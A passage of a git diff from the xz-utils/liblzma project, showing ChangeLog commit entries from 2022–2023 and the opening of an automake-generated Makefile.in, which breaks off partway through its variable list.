d550304f5343b3a082da265107cd820e0d81dc71 +Author: Lasse Collin +Date: 2023-01-06 17:55:06 +0200 + + Tests: test_index_hash: Fix a memory leak. + + tests/test_index_hash.c | 2 ++ + 1 file changed, 2 insertions(+) + +commit 02608f74ea1f2d2d56585711ff241c34b4ad0937 +Author: Lasse Collin +Date: 2023-01-06 17:53:03 +0200 + + Tests: test_index_hash: Don't treat pointers as booleans. + + tests/test_index_hash.c | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +commit 056766c8601a3808bea1761f6cc833197a35a3e0 +Author: Lasse Collin +Date: 2023-01-06 17:51:41 +0200 + + Tests: test_index_hash: Fix a typo in a comment. + + tests/test_index_hash.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 873e684028ba9738f071c5236db7d452ed797b4c +Author: Lasse Collin +Date: 2023-01-06 17:44:29 +0200 + + Tests: test_index_hash: Avoid the variable name "index". + + It can trigger warnings from -Wshadow on some systems. + + tests/test_index_hash.c | 16 ++++++++-------- + 1 file changed, 8 insertions(+), 8 deletions(-) + +commit d1f24c35874eeba8432d75aa77b06c50375ed937 +Author: Lasse Collin +Date: 2023-01-06 17:35:50 +0200 + + Tests: test_index_hash: Use the word "Record" instead of "entry". + + tests/test_index_hash.c | 102 ++++++++++++++++++++++++------------------------ + 1 file changed, 51 insertions(+), 51 deletions(-) + +commit b93f7c5cbb02b42024ac866fc0af541de3d816e2 +Author: Lasse Collin +Date: 2023-01-06 17:35:05 +0200 + + Tests: test_index_hash: Tweak comments and style. + + The words defined in the .xz file format specification + begin with capital letter to emphasize that they have + a specific meaning. + + tests/test_index_hash.c | 62 ++++++++++++++++++++++++++----------------------- + 1 file changed, 33 insertions(+), 29 deletions(-) + +commit c48b24fc06d98569adb72f13c2e8e5ff30bb8036 +Author: Lasse Collin +Date: 2023-01-06 17:17:37 +0200 + + Tests: test_index_hash: Use INDEX_INDICATOR constant instead of 0. + + tests/test_index_hash.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 78e0561dfebaa9d5e34558de537efcda890e0629 +Author: Jia Tan +Date: 2023-01-06 20:43:31 +0800 + + Style: Change #if !defined() to #ifndef in mythread.h. + + src/common/mythread.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit e834e1e934ed0af673598d8c0c34afb2af56bee0 +Author: Jia Tan +Date: 2023-01-06 20:35:55 +0800 + + Build: Add missing stream_decoder_mt.c to .vcxproj files. + + The line in the .vcxproj files for building with was missing in 5.4.0. + Thank to Hajin Jang for reporting the issue. + + windows/vs2013/liblzma.vcxproj | 1 + + windows/vs2013/liblzma_dll.vcxproj | 1 + + windows/vs2017/liblzma.vcxproj | 1 + + windows/vs2017/liblzma_dll.vcxproj | 1 + + windows/vs2019/liblzma.vcxproj | 1 + + windows/vs2019/liblzma_dll.vcxproj | 1 + + 6 files changed, 6 insertions(+) + +commit 84f9687cbae972c2c342e10bf69f8ec8f70ae111 +Author: Jia Tan +Date: 2023-01-05 20:57:25 +0800 + + liblzma: Remove common.h include from common/index.h. + + common/index.h is needed by liblzma internally and tests. common.h will + include and define many things that are not needed by the tests. Also, + this prevents include order problems because common.h will redefine + LZMA_API resulting in a warning. + + src/liblzma/common/index.c | 1 + + src/liblzma/common/index.h | 9 +++++++-- + src/liblzma/common/index_decoder.h | 1 + + src/liblzma/common/stream_buffer_encoder.c | 1 + + 4 files changed, 10 insertions(+), 2 deletions(-) + +commit 7657ce1c3c4abff7560336a7b687d98e0e2bd14f +Author: Lasse Collin +Date: 2023-01-04 22:40:54 +0200 + + Update THANKS. + + THANKS | 1 + + 1 file changed, 1 insertion(+) + +commit aafd67fba045ab99683971263a5a26fb2a6e8ce2 +Author: Lasse Collin +Date: 2023-01-04 18:40:28 +0200 + + Tests: Adjust style in test_compress.sh. + + tests/test_compress.sh | 12 +++++++----- + 1 file changed, 7 insertions(+), 5 deletions(-) + +commit 52380678f42364daa4510f92f6d3b18ec98c3638 +Author: Jia Tan +Date: 2023-01-04 23:58:58 +0800 + + Tests: Replace non portable shell parameter expansion + + The shell parameter expansion using # and ## is not supported in + Solaris 10 Bourne shell (/bin/sh). Even though this is POSIX, it is not fully + portable, so we should avoid it. + + tests/create_compress_files.c | 2 +- + tests/test_compress.sh | 20 +++++++++++++------- + tests/test_compress_prepared_bcj_sparc | 2 +- + tests/test_compress_prepared_bcj_x86 | 2 +- + 4 files changed, 16 insertions(+), 10 deletions(-) + +commit d0eb345bb7d148a62883ee299adec2b74a0f6f3b +Author: Jia Tan +Date: 2023-01-03 21:02:38 +0800 + + Translations: Add Korean translation of man pages. + + Thanks to Seong-ho Cho + + po4a/ko.po | 5552 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + po4a/po4a.conf | 2 +- + 2 files changed, 5553 insertions(+), 1 deletion(-) + +commit c4145978d95ebf1690c778d354e15f7c2823d7a8 +Author: Jia Tan +Date: 2023-01-03 20:47:27 +0800 + + Translations: Update the Esperanto translation. + + po/eo.po | 620 ++++++++++++++++++++++++++++++++++----------------------------- + 1 file changed, 332 insertions(+), 288 deletions(-) + +commit 4103a2e78ac60b00c888485cd967a5fe5d1b917c +Author: Lasse Collin +Date: 2023-01-02 17:20:47 +0200 + + Bump version and soname for 5.5.0alpha. + + 5.5.0alpha won't be released, it's just to mark that + the branch is not for stable 5.4.x. + + Once again there is no API/ABI stability for new features + in devel versions. The major soname won't be bumped even + if API/ABI of new features breaks between devel releases. + + src/liblzma/Makefile.am | 2 +- + src/liblzma/api/lzma/version.h | 4 ++-- + 2 files changed, 3 insertions(+), 3 deletions(-) + +commit 73c9e6d6b970ccc3d5ad61dcaa21cba050e5df0a +Author: Lasse Collin +Date: 2023-01-02 17:05:07 +0200 + + Build: Fix config.h comments. + + configure.ac | 2 +- + m4/tuklib_progname.m4 | 2 +- + 2 files changed, 2 insertions(+), 2 deletions(-) + +commit bb740e3b117f1a3c65152d01e5755523a908ecb1 +Author: Jia Tan +Date: 2023-01-02 22:33:48 +0800 + + Build: Only define HAVE_PROGRAM_INVOCATION_NAME if it is set to 1. + + HAVE_DECL_PROGRAM_INVOCATION_NAME is renamed to + HAVE_PROGRAM_INVOCATION_NAME. Previously, + HAVE_DECL_PROGRAM_INVOCATION_NAME was always set when + building with autotools. CMake would only set this when it was 1, and the + dos/config.h did not define it. The new macro definition is consistent + across build systems. + + cmake/tuklib_progname.cmake | 5 ++--- + m4/tuklib_progname.m4 | 5 ++++- + src/common/tuklib_progname.c | 2 +- + src/common/tuklib_progname.h | 2 +- + 4 files changed, 8 insertions(+), 6 deletions(-) + +commit 064cd385a716abc78d93a3612411a82d69ceb221 +Author: Jia Tan +Date: 2022-12-29 00:30:52 +0800 + + Adds test_index_hash to .gitignore. + + .gitignore | 1 + + 1 file changed, 1 insertion(+) + +commit 3959162baec074511d83ba0fec1284c3ed724799 +Author: Jia Tan +Date: 2022-12-29 00:25:18 +0800 + + Tests: Creates test_index_hash.c + + Tests all API functions exported from index_hash.h. Does not have a + dedicated test for lzma_index_hash_end. + + CMakeLists.txt | 2 + + tests/Makefile.am | 3 + + tests/test_index_hash.c | 379 ++++++++++++++++++++++++++++++++++++++++++++++++ + 3 files changed, 384 insertions(+) + +commit f16e12d5e755d371247202fcccbcccd1ec16b2cf +Author: Jia Tan +Date: 2022-08-17 20:20:16 +0800 + + liblzma: Add NULL check to lzma_index_hash_append. + + This is for consistency with lzma_index_append. + + src/liblzma/common/index_hash.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 203b008eb220208981902e0db541c02d1c1c9f5e +Author: Jia Tan +Date: 2022-08-17 17:59:51 +0800 + + liblzma: Replaced hardcoded 0x0 index indicator byte with macro + + src/liblzma/common/index.h | 3 +++ + src/liblzma/common/index_decoder.c | 2 +- + src/liblzma/common/index_encoder.c | 2 +- + src/liblzma/common/index_hash.c | 2 +- + src/liblzma/common/stream_decoder.c | 3 ++- + src/liblzma/common/stream_decoder_mt.c | 2 +- + 6 files changed, 9 insertions(+), 5 deletions(-) + +commit dfecda875211f737d0db92dc1d3c58a3a2afb0c0 +Author: Lasse Collin +Date: 2022-12-30 20:10:08 +0200 + + Tests: test_check: Test corner cases of CLMUL CRC64. + + tests/test_check.c | 27 +++++++++++++++++++++++++++ + 1 file changed, 27 insertions(+) + +commit ce96bb20435212fe797d6d84738fb9fd4ea13cc7 +Author: Lasse Collin +Date: 2022-12-30 19:36:49 +0200 + + Tests: Clarify a comment in test_lzip_decoder.c. + + tests/test_lzip_decoder.c | 8 ++++++-- + 1 file changed, 6 insertions(+), 2 deletions(-) + +commit 2fcba17fc4d7eda8fc60567169cf2a0e6fcfb2f8 +Author: Jia Tan +Date: 2022-12-29 01:55:19 +0800 + + xz: Includes and conditionally in mytime.c. + + Previously, mytime.c depended on mythread.h for to be included. + + src/xz/mytime.c | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +commit f82294c8318a7a0990583d51ac5c7de682ad36ef +Author: Jia Tan +Date: 2022-12-29 01:15:27 +0800 + + liblzma: Includes sys/time.h conditionally in mythread + + Previously, was always included, even if mythread only used + clock_gettime. is still needed even if clock_gettime is not used + though because struct timespec is needed for mythread_condtime. + + src/common/mythread.h | 8 +++++++- + 1 file changed, 7 insertions(+), 1 deletion(-) + +commit 74dae7d30091e906d6a92a57952dea4354473f9b +Author: Jia Tan +Date: 2022-12-29 01:10:53 +0800 + + Build: No longer require HAVE_DECL_CLOCK_MONOTONIC to always be set. + + Previously, if threading was enabled HAVE_DECL_CLOCK_MONOTONIC would always + be set to 0 or 1. However, this macro was needed in xz so if xz was not + built with threading and HAVE_DECL_CLOCK_MONOTONIC was not defined but + HAVE_CLOCK_GETTIME was, it caused a warning during build. Now, + HAVE_DECL_CLOCK_MONOTONIC has been renamed to HAVE_CLOCK_MONOTONIC and + will only be set if it is 1. + + CMakeLists.txt | 8 +++----- + configure.ac | 5 ++++- + src/common/mythread.h | 4 ++-- + src/xz/mytime.c | 5 ++--- + 4 files changed, 11 insertions(+), 11 deletions(-) + +commit 7339e39dc060df6eda74a2c5b69961befc3d5d24 +Author: Jia Tan +Date: 2022-12-28 01:14:07 +0800 + + Translations: Add Ukrainian translations of man pages. + + Thanks to Yuri Chornoivan + + po4a/po4a.conf | 2 +- + po4a/uk.po | 3676 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + 2 files changed, 3677 insertions(+), 1 deletion(-) + +commit 9f05c27a58ce8cd7803079aa295e41c24665ce6e +Author: Jia Tan +Date: 2022-12-23 00:34:48 +0800 + + CI/CD: Create initial version of CI/CD workflow. + + The CI/CD workflow will only execute on Ubuntu and MacOS latest version. + The workflow will attempt to build with autotools and CMake and execute + the tests. The workflow will run for all pull requests and pushes done + to the master branch. + + .github/workflows/ci.yml | 72 ++++++++++++++++++++++++ + build-aux/ci_build.sh | 141 +++++++++++++++++++++++++++++++++++++++++++++++ + 2 files changed, 213 insertions(+) + +commit 1275ebfba74230dbd028049141423c79c8b83b8f +Author: Jia Tan +Date: 2022-12-22 23:14:53 +0800 + + liblzma: Update documentation for lzma_filter_encoder. + + src/liblzma/common/filter_encoder.c | 7 +++++-- + 1 file changed, 5 insertions(+), 2 deletions(-) + +commit 7c9ff5f1667a16733163b75dfd4b509662c387f4 +Author: Jia Tan +Date: 2022-12-21 21:12:03 +0800 + + Tests: Adds lzip decoder tests + + .gitignore | 1 + + tests/Makefile.am | 2 + + tests/test_lzip_decoder.c | 471 ++++++++++++++++++++++++++++++++++++++++++++++ + 3 files changed, 474 insertions(+) + +commit 799ead162de63b8400733603d3abcd2e1977bdca +Author: Jia Cheong Tan +Date: 2022-12-20 22:05:21 +0800 + + Doxygen: Update .gitignore for generating docs for in source build. + + In source builds are not recommended, but we should still ignore + the generated artifacts. + + .gitignore | 2 ++ + 1 file changed, 2 insertions(+) + +commit 5f7ce42a16b1e86ca8408b5c670c25e2a12acc4e +Author: Jia Tan +Date: 2022-12-20 20:46:44 +0800 + + liblzma: Fix lzma_microlzma_encoder() return value. + + Using return_if_error on lzma_lzma_lclppb_encode was improper because + return_if_error is expecting an lzma_ret value, but + lzma_lzma_lclppb_encode returns a boolean. This could result in + lzma_microlzma_encoder, which would be misleading for applications. + + src/liblzma/common/microlzma_encoder.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +commit 8ace358d65059152d9a1f43f4770170d29d35754 +Author: Jia Tan +Date: 2022-12-16 20:58:55 +0800 + + CMake: Update .gitignore for CMake artifacts from in source build. + + In source builds are not recommended, but we can make it easier + by ignoring the generated artifacts from CMake. + + .gitignore | 23 +++++++++++++++++++++++ + 1 file changed, 23 insertions(+) + +commit 8fd225a2c149f30aeac377e68eb5abf6b28300ad +Author: Lasse Collin +Date: 2022-12-16 18:30:02 +0200 + + liblzma: Update authors list in arm64.c. + + src/liblzma/simple/arm64.c | 1 + + 1 file changed, 1 insertion(+) + +commit b69da6d4bb6bb11fc0cf066920791990d2b22a06 +Author: Lasse Collin +Date: 2022-12-13 20:37:17 +0200 + + Bump version to 5.4.0 and soname to 5.4.0. + + src/liblzma/Makefile.am | 2 +- + src/liblzma/api/lzma/version.h | 6 +++--- + src/liblzma/liblzma_generic.map | 2 +- + src/liblzma/liblzma_linux.map | 2 +- + 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/Makefile.in b/Makefile.in new file mode 100644 index 00000000..9b362112 --- /dev/null +++ b/Makefile.in @@ -0,0 +1,1096 @@ +# Makefile.in generated by automake 1.16.5 from Makefile.am. +# @configure_input@ + +# Copyright (C) 1994-2021 Free Software Foundation, Inc. + +# This Makefile.in is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY, to the extent permitted by law; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A +# PARTICULAR PURPOSE. + +@SET_MAKE@ + +VPATH = @srcdir@ +am__is_gnu_make = { \ + if test -z '$(MAKELEVEL)'; then \ + false; \ + elif test -n '$(MAKE_HOST)'; then \ + true; \ + elif test -n '$(MAKE_VERSION)' && test -n '$(CURDIR)'; then \ + true; \ + else \ + false; \ + fi; \ +} +am__make_running_with_option = \ + case $${target_option-} in \ + ?) ;; \ + *) echo "am__make_running_with_option: internal error: invalid" \ + "target option '$${target_option-}' specified" >&2; \ + exit 1;; \ + esac; \ + has_opt=no; \ + sane_makeflags=$$MAKEFLAGS; \ + if $(am__is_gnu_make); then \ + sane_makeflags=$$MFLAGS; \ + else \ + case $$MAKEFLAGS in \ + *\\[\ \ ]*) \ + bs=\\; \ + sane_makeflags=`printf '%s\n' "$$MAKEFLAGS" \ + | sed "s/$$bs$$bs[$$bs $$bs ]*//g"`;; \ + esac; \ + fi; \ + skip_next=no; \ + strip_trailopt () \ + { \ + flg=`printf '%s\n' "$$flg" | sed "s/$$1.*$$//"`; \ + }; \ + for flg in $$sane_makeflags; do \ + test $$skip_next = yes && { skip_next=no; continue; }; \ + case $$flg in \ + *=*|--*) continue;; \ + -*I) strip_trailopt 'I'; skip_next=yes;; \ + -*I?*) strip_trailopt 'I';; \ + -*O) strip_trailopt 'O'; skip_next=yes;; \ + -*O?*) strip_trailopt 'O';; \ + -*l) strip_trailopt 'l'; skip_next=yes;; \ + -*l?*) strip_trailopt 'l';; \ + -[dEDm]) skip_next=yes;; \ + -[JT]) skip_next=yes;; \ + esac; \ + case $$flg in \ + *$$target_option*) has_opt=yes; break;; \ + esac; \ + done; \ + test $$has_opt = yes +am__make_dryrun = (target_option=n; $(am__make_running_with_option)) +am__make_keepgoing = (target_option=k; $(am__make_running_with_option)) +pkgdatadir = $(datadir)/@PACKAGE@ +pkgincludedir = $(includedir)/@PACKAGE@ +pkglibdir = $(libdir)/@PACKAGE@ +pkglibexecdir = $(libexecdir)/@PACKAGE@ +am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd +install_sh_DATA = $(install_sh) -c -m 644 +install_sh_PROGRAM = $(install_sh) -c +install_sh_SCRIPT = $(install_sh) -c +INSTALL_HEADER = $(INSTALL_DATA) +transform = $(program_transform_name) +NORMAL_INSTALL = : +PRE_INSTALL = : +POST_INSTALL = : +NORMAL_UNINSTALL = : +PRE_UNINSTALL = : +POST_UNINSTALL = : +build_triplet = @build@ +host_triplet = @host@ +@COND_GNULIB_TRUE@am__append_1 = lib +subdir = . +ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 +am__aclocal_m4_deps = $(top_srcdir)/m4/ax_pthread.m4 \ + $(top_srcdir)/m4/build-to-host.m4 $(top_srcdir)/m4/getopt.m4 \ + $(top_srcdir)/m4/gettext.m4 $(top_srcdir)/m4/host-cpu-c-abi.m4 \ + $(top_srcdir)/m4/iconv.m4 $(top_srcdir)/m4/intlmacosx.m4 \ + $(top_srcdir)/m4/lib-ld.m4 $(top_srcdir)/m4/lib-link.m4 \ + $(top_srcdir)/m4/lib-prefix.m4 $(top_srcdir)/m4/libtool.m4 \ + $(top_srcdir)/m4/ltoptions.m4 $(top_srcdir)/m4/ltsugar.m4 \ + $(top_srcdir)/m4/ltversion.m4 $(top_srcdir)/m4/lt~obsolete.m4 \ + $(top_srcdir)/m4/nls.m4 $(top_srcdir)/m4/po.m4 \ + $(top_srcdir)/m4/posix-shell.m4 $(top_srcdir)/m4/progtest.m4 \ + $(top_srcdir)/m4/tuklib_common.m4 \ + $(top_srcdir)/m4/tuklib_cpucores.m4 \ + $(top_srcdir)/m4/tuklib_integer.m4 \ + $(top_srcdir)/m4/tuklib_mbstr.m4 \ + $(top_srcdir)/m4/tuklib_physmem.m4 \ + $(top_srcdir)/m4/tuklib_progname.m4 \ + $(top_srcdir)/m4/visibility.m4 $(top_srcdir)/configure.ac +am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ + $(ACLOCAL_M4) +DIST_COMMON = $(srcdir)/Makefile.am $(top_srcdir)/configure \ + $(am__configure_deps) $(am__dist_doc_DATA_DIST) \ + $(am__dist_examples_DATA_DIST) $(am__DIST_COMMON) +am__CONFIG_DISTCLEAN_FILES = config.status config.cache config.log \ + configure.lineno config.status.lineno +mkinstalldirs = $(install_sh) -d +CONFIG_HEADER = config.h +CONFIG_CLEAN_FILES = +CONFIG_CLEAN_VPATH_FILES = +AM_V_P = $(am__v_P_@AM_V@) +am__v_P_ = $(am__v_P_@AM_DEFAULT_V@) +am__v_P_0 = false +am__v_P_1 = : +AM_V_GEN = $(am__v_GEN_@AM_V@) +am__v_GEN_ = $(am__v_GEN_@AM_DEFAULT_V@) +am__v_GEN_0 = @echo " GEN " $@; +am__v_GEN_1 = +AM_V_at = $(am__v_at_@AM_V@) +am__v_at_ = $(am__v_at_@AM_DEFAULT_V@) +am__v_at_0 = @ +am__v_at_1 = +SOURCES = +DIST_SOURCES = +RECURSIVE_TARGETS = all-recursive check-recursive cscopelist-recursive \ + ctags-recursive dvi-recursive html-recursive info-recursive \ + install-data-recursive install-dvi-recursive \ + install-exec-recursive install-html-recursive \ + install-info-recursive install-pdf-recursive \ + install-ps-recursive install-recursive installcheck-recursive \ + installdirs-recursive pdf-recursive ps-recursive \ + tags-recursive uninstall-recursive +am__can_run_installinfo = \ + case $$AM_UPDATE_INFO_DIR in \ + n|no|NO) false;; \ + *) (install-info --version) >/dev/null 2>&1;; \ + esac +am__dist_doc_DATA_DIST = AUTHORS COPYING COPYING.0BSD COPYING.GPLv2 \ + NEWS README THANKS doc/faq.txt doc/history.txt \ + doc/xz-file-format.txt doc/lzma-file-format.txt +am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; +am__vpath_adj = case $$p in \ + $(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \ + *) f=$$p;; \ + esac; +am__strip_dir = f=`echo $$p | sed -e 's|^.*/||'`; +am__install_max = 40 +am__nobase_strip_setup = \ + srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*|]/\\\\&/g'` +am__nobase_strip = \ + for p in $$list; do echo "$$p"; done | sed -e "s|$$srcdirstrip/||" +am__nobase_list = $(am__nobase_strip_setup); \ + for p in $$list; do echo "$$p $$p"; done | \ + sed "s| $$srcdirstrip/| |;"' / .*\//!s/ .*/ ./; s,\( .*\)/[^/]*$$,\1,' | \ + $(AWK) 'BEGIN { files["."] = "" } { files[$$2] = files[$$2] " " $$1; \ + if (++n[$$2] == $(am__install_max)) \ + { print $$2, files[$$2]; n[$$2] = 0; files[$$2] = "" } } \ + END { for (dir in files) print dir, files[dir] }' +am__base_list = \ + sed '$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;s/\n/ /g' | \ + sed '$$!N;$$!N;$$!N;$$!N;s/\n/ /g' +am__uninstall_files_from_dir = { \ + test -z "$$files" \ + || { test ! -d "$$dir" && test ! -f "$$dir" && test ! -r "$$dir"; } \ + || { echo " ( cd '$$dir' && rm -f" $$files ")"; \ + $(am__cd) "$$dir" && rm -f $$files; }; \ + } +am__installdirs = "$(DESTDIR)$(docdir)" "$(DESTDIR)$(examplesdir)" +am__dist_examples_DATA_DIST = doc/examples/00_README.txt \ + doc/examples/01_compress_easy.c doc/examples/02_decompress.c \ + doc/examples/03_compress_custom.c \ + doc/examples/04_compress_easy_mt.c doc/examples/11_file_info.c \ + doc/examples/Makefile +DATA = $(dist_doc_DATA) $(dist_examples_DATA) +RECURSIVE_CLEAN_TARGETS = mostlyclean-recursive clean-recursive \ + distclean-recursive maintainer-clean-recursive +am__recursive_targets = \ + $(RECURSIVE_TARGETS) \ + $(RECURSIVE_CLEAN_TARGETS) \ + $(am__extra_recursive_targets) +AM_RECURSIVE_TARGETS = $(am__recursive_targets:-recursive=) TAGS CTAGS \ + cscope distdir distdir-am dist dist-all distcheck +am__tagged_files = $(HEADERS) $(SOURCES) $(TAGS_FILES) $(LISP) \ + config.h.in +# Read a list of newline-separated strings from the standard input, +# and print each of them once, without duplicates. Input order is +# *not* preserved. +am__uniquify_input = $(AWK) '\ + BEGIN { nonempty = 0; } \ + { items[$$0] = 1; nonempty = 1; } \ + END { if (nonempty) { for (i in items) print i; }; } \ +' +# Make sure the list of sources is unique. This is necessary because, +# e.g., the same source file might be shared among _SOURCES variables +# for different programs/libraries. +am__define_uniq_tagged_files = \ + list='$(am__tagged_files)'; \ + unique=`for i in $$list; do \ + if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ + done | $(am__uniquify_input)` +am__DIST_COMMON = $(srcdir)/Makefile.in $(srcdir)/config.h.in \ + $(top_srcdir)/build-aux/compile \ + $(top_srcdir)/build-aux/config.guess \ + $(top_srcdir)/build-aux/config.rpath \ + $(top_srcdir)/build-aux/config.sub \ + $(top_srcdir)/build-aux/install-sh \ + $(top_srcdir)/build-aux/ltmain.sh \ + $(top_srcdir)/build-aux/missing ABOUT-NLS AUTHORS COPYING \ + ChangeLog INSTALL NEWS README THANKS TODO build-aux/compile \ + build-aux/config.guess build-aux/config.rpath \ + build-aux/config.sub build-aux/install-sh build-aux/ltmain.sh \ + build-aux/missing +DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) +distdir = $(PACKAGE)-$(VERSION) +top_distdir = $(distdir) +am__remove_distdir = \ + if test -d "$(distdir)"; then \ + find "$(distdir)" -type d ! -perm -200 -exec chmod u+w {} ';' \ + && rm -rf "$(distdir)" \ + || { sleep 5 && rm -rf "$(distdir)"; }; \ + else :; fi +am__post_remove_distdir = $(am__remove_distdir) +am__relativize = \ + dir0=`pwd`; \ + sed_first='s,^\([^/]*\)/.*$$,\1,'; \ + sed_rest='s,^[^/]*/*,,'; \ + sed_last='s,^.*/\([^/]*\)$$,\1,'; \ + sed_butlast='s,/*[^/]*$$,,'; \ + while test -n "$$dir1"; do \ + first=`echo "$$dir1" | sed -e "$$sed_first"`; \ + if test "$$first" != "."; then \ + if test "$$first" = ".."; then \ + dir2=`echo "$$dir0" | sed -e "$$sed_last"`/"$$dir2"; \ + dir0=`echo "$$dir0" | sed -e "$$sed_butlast"`; \ + else \ + first2=`echo "$$dir2" | sed -e "$$sed_first"`; \ + if test "$$first2" = "$$first"; then \ + dir2=`echo "$$dir2" | sed -e "$$sed_rest"`; \ + else \ + dir2="../$$dir2"; \ + fi; \ + dir0="$$dir0"/"$$first"; \ + fi; \ + fi; \ + dir1=`echo "$$dir1" | sed -e "$$sed_rest"`; \ + done; \ + reldir="$$dir2" +DIST_ARCHIVES = $(distdir).tar.gz +DIST_TARGETS = dist-gzip +# Exists only to be overridden by the user if desired. +AM_DISTCHECK_DVI_TARGET = dvi +distuninstallcheck_listfiles = find . -type f -print +am__distuninstallcheck_listfiles = $(distuninstallcheck_listfiles) \ + | sed 's|^\./|$(prefix)/|' | grep -v '$(infodir)/dir$$' +distcleancheck_listfiles = find . -type f -print +ACLOCAL = @ACLOCAL@ +AMTAR = @AMTAR@ +AM_CFLAGS = @AM_CFLAGS@ +AM_DEFAULT_VERBOSITY = @AM_DEFAULT_VERBOSITY@ +AR = @AR@ +AS = @AS@ +AUTOCONF = @AUTOCONF@ +AUTOHEADER = @AUTOHEADER@ +AUTOMAKE = @AUTOMAKE@ +AWK = @AWK@ +CC = @CC@ +CCAS = @CCAS@ +CCASDEPMODE = @CCASDEPMODE@ +CCASFLAGS = @CCASFLAGS@ +CCDEPMODE = @CCDEPMODE@ +CFLAGS = @CFLAGS@ +CFLAG_VISIBILITY = @CFLAG_VISIBILITY@ +CPP = @CPP@ +CPPFLAGS = @CPPFLAGS@ +CSCOPE = @CSCOPE@ +CTAGS = @CTAGS@ +CYGPATH_W = @CYGPATH_W@ +DEFS = @DEFS@ +DEPDIR = @DEPDIR@ +DLLTOOL = @DLLTOOL@ +DSYMUTIL = @DSYMUTIL@ +DUMPBIN = @DUMPBIN@ +ECHO_C = @ECHO_C@ +ECHO_N = @ECHO_N@ +ECHO_T = @ECHO_T@ +EGREP = @EGREP@ +ETAGS = @ETAGS@ +EXEEXT = @EXEEXT@ +FGREP = @FGREP@ +FILECMD = @FILECMD@ +GETOPT_H = @GETOPT_H@ +GETTEXT_MACRO_VERSION = @GETTEXT_MACRO_VERSION@ +GMSGFMT = @GMSGFMT@ +GMSGFMT_015 = @GMSGFMT_015@ +GREP = @GREP@ +HAVE_VISIBILITY = @HAVE_VISIBILITY@ +INSTALL = @INSTALL@ +INSTALL_DATA = @INSTALL_DATA@ +INSTALL_PROGRAM = @INSTALL_PROGRAM@ +INSTALL_SCRIPT = @INSTALL_SCRIPT@ +INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ +INTLLIBS = @INTLLIBS@ +INTL_MACOSX_LIBS = @INTL_MACOSX_LIBS@ +LD = @LD@ +LDFLAGS = @LDFLAGS@ +LIBICONV = @LIBICONV@ +LIBINTL = @LIBINTL@ +LIBOBJS = @LIBOBJS@ +LIBS = @LIBS@ +LIBTOOL = @LIBTOOL@ +LIPO = @LIPO@ +LN_EXEEXT = @LN_EXEEXT@ +LN_S = @LN_S@ +LTLIBICONV = @LTLIBICONV@ +LTLIBINTL = @LTLIBINTL@ +LTLIBOBJS = @LTLIBOBJS@ +LT_SYS_LIBRARY_PATH = @LT_SYS_LIBRARY_PATH@ +MAKEINFO = @MAKEINFO@ +MANIFEST_TOOL = @MANIFEST_TOOL@ +MKDIR_P = @MKDIR_P@ +MSGFMT = @MSGFMT@ +MSGMERGE = @MSGMERGE@ +MSGMERGE_FOR_MSGFMT_OPTION = @MSGMERGE_FOR_MSGFMT_OPTION@ +NM = @NM@ +NMEDIT = @NMEDIT@ +OBJDUMP = @OBJDUMP@ +OBJEXT = @OBJEXT@ +OTOOL = @OTOOL@ +OTOOL64 = @OTOOL64@ +PACKAGE = @PACKAGE@ +PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ +PACKAGE_NAME = @PACKAGE_NAME@ +PACKAGE_STRING = @PACKAGE_STRING@ +PACKAGE_TARNAME = @PACKAGE_TARNAME@ +PACKAGE_URL = @PACKAGE_URL@ +PACKAGE_VERSION = @PACKAGE_VERSION@ +PATH_SEPARATOR = @PATH_SEPARATOR@ +POSIX_SHELL = @POSIX_SHELL@ +POSUB = @POSUB@ +PREFERABLY_POSIX_SHELL = @PREFERABLY_POSIX_SHELL@ +PTHREAD_CC = @PTHREAD_CC@ +PTHREAD_CFLAGS = @PTHREAD_CFLAGS@ +PTHREAD_CXX = @PTHREAD_CXX@ +PTHREAD_LIBS = @PTHREAD_LIBS@ +RANLIB = @RANLIB@ +RC = @RC@ +SED = @SED@ +SET_MAKE = @SET_MAKE@ +SHELL = @SHELL@ +STRIP = @STRIP@ +USE_NLS = @USE_NLS@ +VERSION = @VERSION@ +XGETTEXT = @XGETTEXT@ +XGETTEXT_015 = @XGETTEXT_015@ +XGETTEXT_EXTRA_OPTIONS = @XGETTEXT_EXTRA_OPTIONS@ +abs_builddir = @abs_builddir@ +abs_srcdir = @abs_srcdir@ +abs_top_builddir = @abs_top_builddir@ +abs_top_srcdir = @abs_top_srcdir@ +ac_ct_AR = @ac_ct_AR@ +ac_ct_CC = @ac_ct_CC@ +ac_ct_DUMPBIN = @ac_ct_DUMPBIN@ +am__include = @am__include@ +am__leading_dot = @am__leading_dot@ +am__quote = @am__quote@ +am__tar = @am__tar@ +am__untar = @am__untar@ +ax_pthread_config = @ax_pthread_config@ +bindir = @bindir@ +build = @build@ +build_alias = @build_alias@ +build_cpu = @build_cpu@ +build_os = @build_os@ +build_vendor = @build_vendor@ +builddir = @builddir@ +datadir = @datadir@ +datarootdir = @datarootdir@ +docdir = @docdir@ +dvidir = 